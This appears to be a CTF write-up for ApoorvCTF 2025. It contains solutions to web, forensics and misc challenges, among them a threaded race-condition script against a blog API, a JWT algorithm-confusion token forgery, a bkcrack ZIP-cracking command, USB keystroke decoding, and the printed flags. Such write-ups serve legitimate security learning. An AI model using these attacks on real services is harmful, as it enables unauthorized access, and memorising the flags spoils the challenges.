---
# System prepended metadata

title: ApoorvCTF 2025

---

# Web
## SEO CEO
In this challenge, I used `dirsearch` and found an endpoint `/sitemap.xml`.
After some searching, I discovered another unusual endpoint that returned a message indicating that to get the `flag`, the value must be either yes or no.
So, I treated `flag` as a variable and set its value to `yes`.

![image](https://hackmd.io/_uploads/HyzuUWmoJx.png)

![image](https://hackmd.io/_uploads/BkqcIbQiyl.png)

![image](https://hackmd.io/_uploads/Sy3s8bmikg.png)

`Flag: apoorvctf{s30_1snT_0pt1onaL}`

## Blog-1
This challenge involved a `race condition vulnerability`.

I logged in, explored the website, and noticed that posting 5 times would grant a reward. However, despite multiple attempts, I encountered timing issues.

To work around this, I created a new account and made one initial post with only 3 characters, causing an error. I knew that the `title` or `content` had to be between `400-500` characters, so this invalid post helped me capture the current timestamp and token, which I then used to exploit the `vulnerability`

![image](https://hackmd.io/_uploads/BkGNdZms1e.png)

I am currently facing issues in re-exploiting this challenge, and at that time, I also had to try many times to succeed

`script`
```py=
import requests
import concurrent.futures

url = "http://chals1.apoorvctf.xyz:5001/api/v1/blog/addBlog"

headers = {
    "Authorization": "Bearer <token>",
    "Content-Type": "application/json",
}

blog_data = {
    "title": "adsadf",
    "description": "nasavgda",
    "visible": True,
    "date": "2025-03-03T10:47:08.685Z",
}

def send_request():
    response = requests.post(url, json=blog_data, headers=headers)
    print(response.status_code, response.text)

num_requests = 100
with concurrent.futures.ThreadPoolExecutor(max_workers=num_requests) as executor:
    futures = [executor.submit(send_request) for _ in range(num_requests)]
    concurrent.futures.wait(futures)
```

## Tan-je-ro
Used `dirsearch` and found three `endpoints`:

* `/admin`: Requires a token
* `/login`: Issues a sample token
* `/public`: Provides an RSA public key
After researching, found this [blog post](https://blog.pentesteracademy.com/hacking-jwt-tokens-verification-key-mismanagement-1b69c89ffdfb), which describes a `vulnerability` that allows switching the `algorithm` from `RS256` to `HS256`.

* Used the tool mentioned in the article: `RsaToHmac.py`
Then, modified the token to set `admin: true`
Finally, I inserted the token into `/ADMIN?token=<final_token>`.

# Forensics
## Phantom Connection

Used `BMC tool` to extract data from the binary file and found several images containing the `flag`.

```
python3 bmc-tools.py /home/kali/Desktop/Cache/Cache0000.bin /home/kali/Desktop/Cache/
```

![image](https://hackmd.io/_uploads/BkbKhZmiyl.png)

`Flag: apoorvctf{CAcH3_Wh4T_YoU_sE3}`
Note: [bmc-tool](https://github.com/ANSSI-FR/bmc-tools)

## Samurai’s Code

After examining the image file, I found a `Brainfuck` code snippet hidden at the bottom.
Decoding it revealed a `Google Drive link`, from which I downloaded a file named `samurai`.

Upon inspecting this file, I noticed it was a `JPEG image`, but the byte order was altered in a structured way. Specifically, every two columns were swapped.

To restore the original image, I wrote a script to rearrange the byte order correctly.

![image](https://hackmd.io/_uploads/r16dJzQjJe.png)

```
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++.++++++++++++..----.+++.<------------.-----------..>---------------.++++++++++++++.---------.+++++++++++++.-----------------.<-.>++.++++++++..--------.+++++.-------.<.>--.++++++++++++.--.<+.>-------.+++.+++.-------.<.>-.<.++.+++++++++++++++++++++++++.+++++++++++++.>+++++++++++++.<+++++++++++++.----------------------------------.++++++++.>+++++++++.-------------------.<+++++++.>+.<-----.+++++++++.------------.<+++++++++++++++.>>++++++++++++++++.<+++.++++++++.>-.<--------.---------.++++++++++++++++++++.>.<++.>--------------.<<+++++.>.>-----.+++++++.<<++.>--.<++.---------.++.>>+++++++++++.-------------.----.++++++++++++++++++.<<++++++++++++++++.>>--.--.---.<<--.>>+++.-----------.-------.+++++++++++++++++.---------.+++++.-------.
```

decode at [here](https://www.dcode.fr/langage-brainfuck) or
`script`
```py=
def brainfuck_interpreter(code, input_data=""):
    code_ptr = 0
    mem = [0] * 30000
    mem_ptr = 0
    input_ptr = 0
    output = ""
    loop_stack = []

    while code_ptr < len(code):
        cmd = code[code_ptr]

        if cmd == '>':
            mem_ptr = (mem_ptr + 1) % len(mem)
        elif cmd == '<':
            mem_ptr = (mem_ptr - 1) % len(mem)
        elif cmd == '+':
            mem[mem_ptr] = (mem[mem_ptr] + 1) % 256
        elif cmd == '-':
            mem[mem_ptr] = (mem[mem_ptr] - 1) % 256
        elif cmd == '.':
            output += chr(mem[mem_ptr])
        elif cmd == ',':
            if input_ptr < len(input_data):
                mem[mem_ptr] = ord(input_data[input_ptr])
                input_ptr += 1
            else:
                mem[mem_ptr] = 0
        elif cmd == '[':
            if mem[mem_ptr] == 0:
                loop_level = 1
                while loop_level > 0:
                    code_ptr += 1
                    if code[code_ptr] == '[':
                        loop_level += 1
                    elif code[code_ptr] == ']':
                        loop_level -= 1
            else:
                loop_stack.append(code_ptr)
        elif cmd == ']':
            if mem[mem_ptr] != 0:
                code_ptr = loop_stack[-1]
            else:
                loop_stack.pop()

        code_ptr += 1

    return output

brainfuck_code = "++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++.++++++++++++..----.+++.<------------.-----------..>---------------.++++++++++++++.---------.+++++++++++++.-----------------.<-.>++.++++++++..--------.+++++.-------.<.>--.++++++++++++.--.<+.>-------.+++.+++.-------.<.>-.<.++.+++++++++++++++++++++++++.+++++++++++++.>+++++++++++++.<+++++++++++++.----------------------------------.++++++++.>+++++++++.-------------------.<+++++++.>+.<-----.+++++++++.------------.<+++++++++++++++.>>++++++++++++++++.<+++.++++++++.>-.<--------.---------.++++++++++++++++++++.>.<++.>--------------.<<+++++.>.>-----.+++++++.<<++.>--.<++.---------.++.>>+++++++++++.-------------.----.++++++++++++++++++.<<++++++++++++++++.>>--.--.---.<<--.>>+++.-----------.-------.+++++++++++++++++.---------.+++++.-------."
print(brainfuck_interpreter(brainfuck_code))
#https://drive.google.com/file/d/1JWqdBJzgQhLUI-xLTwLCWwYi2Ydk4W6-/view?usp=sharing
```

![image](https://hackmd.io/_uploads/SkzNez7sJg.png)


`solve.py`
```py=
with open("samurai", "rb") as f:
    data = f.read()

fixed_data = bytearray()
for i in range(0, len(data), 2):
    fixed_data.extend(data[i:i+2][::-1])  

with open("samurai_fixed.jpg", "wb") as f:
    f.write(fixed_data)
```

![samurai_fixed](https://hackmd.io/_uploads/ryf_xM7j1x.jpg)

`Flag: apoorvctf{ByT3s_OUT_OF_ORd3R}`

## Ramen lockdown
Use [bkcrack](https://github.com/kimci86/bkcrack/releases/tag/v1.7.1) or 
* Create a file containing the first 12 bytes of a PNG header.

```
echo -ne '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D' > png_header.bin
```

* Run bkcrack again using the new header.

```
bkcrack -C recipe.zip -c secret_recipe.png -p png_header.bin -o 0
```

## ArchBTW

This challenge involves a `keylogger`.
We need to extract the data and decode it using `tshark`

```
tshark -r Capture.pcapng -Y "usb.src == 3.45.1" -T fields -e usbhid.data | sed 's/../:&/g2' > /home/kali/Downloads/sed1.txt
```

Then, we run a script to extract data from those hex segments to inspect the content.

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import sys
KEY_CODES = {
    0x04:['a', 'A'],
    0x05:['b', 'B'],
    0x06:['c', 'C'],
    0x07:['d', 'D'],
    0x08:['e', 'E'],
    0x09:['f', 'F'],
    0x0A:['g', 'G'],
    0x0B:['h', 'H'],
    0x0C:['i', 'I'],
    0x0D:['j', 'J'],
    0x0E:['k', 'K'],
    0x0F:['l', 'L'],
    0x10:['m', 'M'],
    0x11:['n', 'N'],
    0x12:['o', 'O'],
    0x13:['p', 'P'],
    0x14:['q', 'Q'],
    0x15:['r', 'R'],
    0x16:['s', 'S'],
    0x17:['t', 'T'],
    0x18:['u', 'U'],
    0x19:['v', 'V'],
    0x1A:['w', 'W'],
    0x1B:['x', 'X'],
    0x1C:['y', 'Y'],
    0x1D:['z', 'Z'],
    0x1E:['1', '!'],
    0x1F:['2', '@'],
    0x20:['3', '#'],
    0x21:['4', '$'],
    0x22:['5', '%'],
    0x23:['6', '^'],
    0x24:['7', '&'],
    0x25:['8', '*'],
    0x26:['9', '('],
    0x27:['0', ')'],
    0x28:['\n','\n'],
    0x29:['[ESC]','[ESC]'],
    0x2a:['[BACKSPACE]', '[BACKSPACE]'],
    0x2C:[' ', ' '],
    0x2D:['-', '_'],
    0x2E:['=', '+'],
    0x2F:['[', '{'],
    0x30:[']', '}'],
    0x32:['#','~'],
    0x33:[';', ':'],
    0x34:['\'', '"'],
    0x36:[',', '<'],
    0x37:['.', '>'],
    0x38:['/', '?'],
    0x39:['[CAPSLOCK]','[CAPSLOCK]'],
    0x2b:['\t','\t'],
    0x4f:[u'→',u'→'],
    0x50:[u'←',u'←'],
    0x51:[u'↓',u'↓'],
    0x52:[u'↑',u'↑']
}


#tshark -r ./usb.pcap -Y 'usb.capdata' -T fields -e usb.capdata > keyboards.txt
def read_use(file):
    with open(file, 'r') as f:
        datas = f.read().split('\n')
    datas = [d.strip() for d in datas if d] 
    cursor_x = 0
    cursor_y = 0
    offset_current_line = 0
    lines = []
    output = ''
    skip_next = False
    lines.append("")
    for data in datas:
        shift = int(data.split(':')[0], 16) # 0x2 is left shift 0x20 is right shift
        key = int(data.split(':')[2], 16)

        if skip_next:
            skip_next = False
            continue
        
        if key == 0 or int(data.split(':')[3], 16) > 0:
            continue
        
        if shift != 0:
            shift=1
            skip_next = True
        key_value = KEY_CODES.get(key, None)
        if key_value is None:
            continue
        if KEY_CODES[key][shift] == u'↑':
            lines[cursor_y] += output
            output = ''
            cursor_y -= 1
        elif KEY_CODES[key][shift] == u'↓':
            lines[cursor_y] += output
            output = ''
            cursor_y += 1
        elif KEY_CODES[key][shift] == u'→':
            cursor_x += 1
        elif KEY_CODES[key][shift] == u'←':
            cursor_x -= 1
        elif KEY_CODES[key][shift] == '\n':
            lines.append("")
            lines[cursor_y] += output
            cursor_x = 0
            cursor_y += 1
            output = ''
        elif KEY_CODES[key][shift] == '[BACKSPACE]':
            output = output[:-1]
            #lines[cursor_y] = output
            cursor_x -= 1
        else:
            output += KEY_CODES[key][shift]
            #lines[cursor_y] = output
            cursor_x += 1
    print(lines)
    if lines == [""]:
        lines[0] = output
    if output != '' and output not in lines:
        lines[cursor_y] += output
    return '\n'.join(lines)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Missing file to read...')
        exit(-1)
    sys.stdout.write(read_use(sys.argv[1]))
```

```
python3 usbparse.py sed.txt
```

```
nvim flag.txt
:%s/0/10101/g
:%s/1/10011/g
:%s/[01]/=system("awk '[CAPSLOCK][CAPSLOCK]NR % 2 ==".(submatch(0) == "0" ? "0" : "1")."' synoonyms.txt  shuf -n1")/g
```

The user opened `flag.txt` using `nvim` (likely in binary format). Then, the following transformations were applied:

* Replace all `0` with `10101`.
* Replace all `1` with `10011`.
For remaining `0` and `1`, they were replaced based on their even or odd positions using a mapping from `synonyms.txt`.
To retrieve the `flag`, we need to write a script to `reverse` these transformations from `flag.txt`

`script`
```py=
with open("synoonyms.txt", "r") as f:
    synonyms = f.read().splitlines()

synonyms_dict = {word: str(idx % 2) for idx, word in enumerate(synonyms, start=1)}

with open("flag.txt", "r") as f:
    words = f.read().splitlines()

binary_string = "".join(synonyms_dict[word] for word in words if word in synonyms_dict)


print(binary_string.replace('10011','1').replace('10101','0'))
#011000010111000001101111011011110111001001110110011000110111010001100110011110110110111001100101001100000111011000110001011011010101111100110001011100110101111101100010001100110111010001110100001100110111001001111101
```

![image](https://hackmd.io/_uploads/BJB5Hzmjkg.png)

`Flag: apoorvctf{ne0v1m_1s_b3tt3r}`

## Whispers of the Forgotten

From the provided `link`, I downloaded a `memory` dump file.

* Opened it using `Volatility3` and noticed that `Chrome` had been opened multiple times.
* Attempted to extract data but found it challenging to locate relevant information.
* Searched directly within the memory file for `http`, which returned many results, mostly related to `Chrome`.
* Noticed a reference to `Pastebin`, so I searched for `Pastebin` in the memory dump.
* Found a mention of `WShell`, and immediately below it, there was a link.
* Accessed the link and retrieved the `flag`.

![image](https://hackmd.io/_uploads/SkMtOM7jkl.png)

![image](https://hackmd.io/_uploads/r1cjOGXs1x.png)


![image](https://hackmd.io/_uploads/B11TOMXokx.png)

```
apoorvctf{ur1s_n3v3r_1i3}
```

# Misc
## Ghosted on the 14th

Accessed the PCAP file and filtered HTTP streams, finding an IP and port: `172.200.32.81:8080.
Searched on `Wayback Machine` using: `http://172.200.32.81:8080`.
Filtered results to `February 14th` and inspected the web source code.

![image](https://hackmd.io/_uploads/B17RKzQikg.png)

![image](https://hackmd.io/_uploads/ry0RtfQske.png)

`YXBvb3JjdGZ7MW1fZzAxbmdfMW41YW4zfQ`

`Flag: apoorctf{1m_g01ng_1n5an3}`